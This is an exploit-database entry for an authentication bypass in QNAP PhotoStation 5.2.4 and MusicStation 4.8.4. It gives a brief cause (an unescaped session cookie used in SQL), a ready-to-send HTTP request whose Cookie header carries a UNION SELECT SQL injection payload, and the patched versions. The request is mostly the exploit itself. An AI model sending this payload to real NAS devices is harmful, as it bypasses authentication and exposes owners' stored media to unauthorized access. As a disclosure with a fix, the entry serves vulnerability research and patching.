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QNAP PhotoStation 5.2.4 / MusicStation 4.8.4 - Authentication Bypass Vulnerability

Author
Kacper Szurek
Risk
[
Security Risk High
]
0day-ID
0day-ID-27751
Category
web applications
Date add
10-05-2017
Platform
php
# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
# Date: 10.05.2017
# Software Link: https://www.qnap.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: web
   
1. Description
  
`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.
 
https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html
 
2. Proof of Concept
 
GET /photo/api/dmc.php HTTP/1.1
Host: qnap.host:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
Connection: close
 
3. Fix
 
Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)

#  0day.today [2024-11-15]  #